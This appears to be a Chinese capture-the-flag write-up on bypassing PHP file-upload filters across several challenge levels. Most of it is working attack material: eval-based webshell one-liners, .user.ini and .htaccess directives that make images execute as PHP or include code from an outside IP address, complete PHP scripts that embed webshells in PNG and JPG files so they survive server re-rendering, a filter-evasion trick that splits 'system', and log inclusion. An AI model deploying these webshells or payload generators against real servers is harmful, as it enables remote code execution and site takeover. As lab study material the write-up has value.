.htaccess
文件只能用于apahce
,不能用于iis
和nginx
等中间件
.user.ini
只能用于Server API
为FastCGI
模式下,而正常情况下apache
不是运行在此模块下的。
162 突破.过滤
<?=include'http://82.156.153.203/index.txt'?>
![](https://i-blog.csdnimg.cn/blog_migrate/61b443df072a7c6802e9ef9effb99372.png)
.user.ini :GIF89a auto_prepend_file=png
png: GIF89a <?=include'http://1385994699/';?>
163 突破上传删除
GIF89a auto_prepend_file=http://1385994699/
GIF二次渲染
upload-labs靶场第17关:这一关对上传图片进行了判断了后缀名
、content-type
,以及利用imagecreatefromgif
判断是否为gif
图片,最后再做了一次二次渲染
实验所用GIF图片:https://wwe.lanzoui.com/iFSwwn53jaf
实验所用16进制编码器:
链接:https://pan.baidu.com/s/1ovltmHJvuNvzySELsuCEKg?pwd=hy4e
提取码:hy4e
将上传成功之后的图片下载
将上传的图片和上传后的图片用16进制编辑器打开,发现两张图片有些地方不一样,明明是同一张图片,为什么会不一样,因为我们将图片上传后,后台对它进行了二次渲染,导致了一些内容的改变。这样就可能导致我们长传的图片马失效,因为写后门代码的地方可能会被处理。
我们尝试将后门代码<?=eval($_POST[pass]);?>写在文件头部,然后保存重新上传。
上传成功之后再次打开发现后门代码不见了。
再次尝试将后门代码写到文件尾部。
然后打开上传之后的图片,在文件头不发现了后门代码,并没有删除。
然后上传.user.ini文件,用.user.ini包含a1118962020.gif,尝试用哥斯拉连接
164 png 二次渲染
手工虽然也能够绕过二次渲染,但是几率不大,运气不好的时候可能要多次尝试
这里建议用脚本注入后门,这样绕过的几率会大一些
png绕过代码:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
*/
?>
165 jpg 二次渲染
jpg绕过代码:
<?php
$miniPayload = "<?=eval(\$_POST[1]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
166 zip 调用包含
直接上传 zip 后修改代码
<?=eval($_POST[x]);?>
167 .htaccess 妙用
(1)SetHandler 指令
# 将images.png 当做 PHP 执行
<FilesMatch "images.png">
SetHandler application/x-httpd-php
</FilesMatch>
(2)AddType
# 将 .jpg(.xxx) 当做 PHP 文件解析
AddType application/x-httpd-php .jpg(.xxx)
![](https://i-blog.csdnimg.cn/blog_migrate/6b4df724607b29416d82a69c2682fe4d.png)
![](https://i-blog.csdnimg.cn/blog_migrate/b33b997cc9933b820fef881f4af42b76.png)
168 免杀后门
可以上传php文件,但是后门代码会限制,过滤了一些关键词,eval,system等
将system拆分,然后直接读取对应文件
<?php $a='syste';$b='m';$c=$a.$b;$c('tac ../flaga.php');?>
169 170 日志包含
上传.user.ini 包含日志:auto_prepend_file=/var/log/nginx/access.log